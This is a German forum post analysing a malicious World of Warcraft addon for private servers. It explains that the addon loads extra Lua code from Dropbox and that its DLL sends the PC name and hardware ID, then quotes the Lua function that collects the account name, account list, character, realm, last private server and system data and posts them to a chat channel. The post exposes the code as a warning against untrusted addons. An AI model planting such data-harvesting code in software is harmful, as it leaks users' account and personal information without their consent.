Quote:
Originally Posted by jonny5252
nein das Addon liest sie aus und postet sie
|
Richtig.
Es wird zusätzlicher LUA Code von einem DropBox Space geladen (wie es auch im Chat steht beim Start), dauert keine 5 Min. das rauszufinden.
Aber den LUA Code so zu modfizieren das er sensible Daten der User posten kann ist nun wirklich nicht die feine englische Art.
Die DLL selber überträgt "nur" PC Name und die Hardware ID.
Code:
--anything that follows now is a good reason to never install addons form untrusted sources :D
function FullInfo()
acccname = GetCVar("accountName")
if (acccname == "") or (acccname == nil) then
acccname = "Not saved"
end
ptpx,ptpy=GetPlayerMapPosition("Player")
reg = format('[%s]%i,%i',GetRealZoneText(),ptpx*100,ptpy*100).." ("..GetZoneText()..")"
local acc = GetAccountExpansionLevel()
if (acc == 0) then
acc = "Classic"
elseif (hhhuuu == 1) then
acc = "BC"
elseif (hhhuuu == 2) then
acc = "WotLK"
end
local framrate = GetFramerate()
local lang = GetLocale()
local down, up, lag = GetNetStats();
if IsWindowsClient() then
sysclient="Windows"
elseif IsLinuxClient() then
sysclient="Linux"
elseif IsMacClient() then
sysclient="Mac"
end
---[[
local name = UnitName("player")
local level = UnitLevel("player")
local englishFaction, localizedFaction = UnitFactionGroup("player")
local realm = GetCVar("realmName")
local verb = GetCVar("realmList")
local widescreen = GetCVar("widescreen")
local acclist = GetCVar("accountList")
--]]
local s = "OS: "..sysclient.." Faction: "..localizedFaction.." Expansion: "..acc.." Language: "..lang.." Framerate: "..framrate.." Lag: "..lag.."ms Position: "..reg.." Account: "..acccname.." Char: "..name.." Level: "..level.." Realm: "..realm.." Last privat server: "..verb.." WideS: "..widescreen.." AccList: "..acclist..""
epvpChat(s)
end